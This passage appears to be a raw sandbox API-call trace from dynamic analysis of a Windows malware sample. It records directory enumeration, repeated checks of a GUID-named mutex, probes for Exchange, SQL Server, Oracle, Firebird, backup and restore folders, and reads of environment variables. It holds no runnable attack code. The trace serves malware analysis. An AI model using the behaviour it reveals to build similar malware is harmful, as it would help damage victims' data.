Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0047.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.041] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.041] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.041] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.041] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.041] GlobalUnlock (hMem=0x44000c) returned 0 [0047.041] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.041] GlobalLock (hMem=0x440004) returned 0x553188 [0047.041] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.041] GlobalUnlock (hMem=0x44000c) returned 0 [0047.041] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.041] GlobalUnlock (hMem=0x440004) returned 0 [0047.041] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.041] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.041] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.041] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.041] GlobalLock (hMem=0x440004) returned 0x552180 [0047.041] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.041] GlobalUnlock (hMem=0x440004) returned 0 [0047.042] GlobalLock (hMem=0x440004) returned 0x552180 [0047.042] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.042] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.042] GlobalUnlock (hMem=0x440004) returned 0 [0047.042] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.042] GlobalUnlock (hMem=0x44000c) returned 0 [0047.042] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.042] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.042] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.042] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.042] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.042] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.042] GlobalUnlock (hMem=0x44000c) returned 0 [0047.042] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.042] GlobalLock (hMem=0x440004) returned 0x554190 [0047.042] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.042] GlobalUnlock (hMem=0x44000c) returned 0 [0047.042] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.042] GlobalUnlock (hMem=0x440004) returned 0 [0047.042] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.042] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.042] GetLastError () returned 0x12 [0047.042] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0047.043] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.043] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.043] GlobalLock (hMem=0x440004) returned 0x551178 [0047.043] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.043] GlobalUnlock (hMem=0x440004) returned 0 [0047.043] GlobalLock (hMem=0x440004) returned 0x551178 [0047.043] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.043] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.043] GlobalUnlock (hMem=0x440004) returned 0 [0047.043] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.043] GlobalUnlock (hMem=0x44000c) returned 0 [0047.043] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.043] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.043] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.043] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.043] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.043] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.043] GlobalUnlock (hMem=0x44000c) returned 0 [0047.043] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.043] GlobalLock (hMem=0x440004) returned 0x553188 [0047.043] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.043] GlobalUnlock (hMem=0x44000c) returned 0 [0047.043] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.043] GlobalUnlock (hMem=0x440004) returned 0 [0047.043] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.043] GlobalLock (hMem=0x440004) returned 0x551178 [0047.043] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.044] GlobalUnlock (hMem=0x440004) returned 0 [0047.044] GlobalLock (hMem=0x440004) returned 0x551178 [0047.044] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.044] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.044] GlobalUnlock (hMem=0x440004) returned 0 [0047.044] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.044] GlobalUnlock (hMem=0x44000c) returned 0 [0047.044] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.044] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR") returned 1 [0047.044] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.044] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.044] GlobalUnlock (hMem=0x44000c) returned 0 [0047.044] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.044] GlobalLock (hMem=0x440004) returned 0x553188 [0047.044] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.044] GlobalUnlock (hMem=0x44000c) returned 0 [0047.044] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.044] GlobalUnlock (hMem=0x440004) returned 0 [0047.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0047.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⧚R⦮R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.044] GetLastError () returned 0x3 [0047.045] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18권Q\x181")) returned 0xffffffff [0047.045] GetLastError () returned 0x2 [0047.045] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18;")) returned 0xffffffff [0047.046] GetLastError () returned 0x2 [0047.046] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18D")) returned 0xffffffff [0047.046] GetLastError () returned 0x2 [0047.046] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18⎌R\x18j")) returned 0xffffffff [0047.047] GetLastError () returned 0x2 [0047.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18q")) returned 0xffffffff [0047.047] GetLastError () returned 0x2 [0047.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\⎈RP") returned 6 [0047.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@❌R企@\x18?T\x18y")) returned 0xffffffff [0047.047] GetLastError () returned 0x2 [0047.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18?T\x18\x81")) returned 0xffffffff [0047.048] GetLastError () returned 0x2 [0047.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18\x88")) returned 0xffffffff [0047.048] GetLastError () returned 0x2 [0047.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@❌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.048] GetLastError () returned 0x2 [0047.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18?T\x18\x97")) returned 0xffffffff [0047.048] GetLastError () returned 0x2 [0047.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.048] GlobalLock (hMem=0x440004) returned 0x551178 [0047.048] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.048] GlobalUnlock (hMem=0x440004) returned 0 [0047.049] GlobalLock (hMem=0x440004) returned 0x551178 [0047.049] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.049] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.049] GlobalUnlock (hMem=0x440004) returned 0 [0047.049] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.049] GlobalUnlock (hMem=0x44000c) returned 0 [0047.049] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.049] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.049] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.049] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.049] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.049] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.049] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.049] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.049] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.049] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.049] GlobalUnlock (hMem=0x44000c) returned 0 [0047.049] GlobalLock (hMem=0x44000c) returned 0x551178 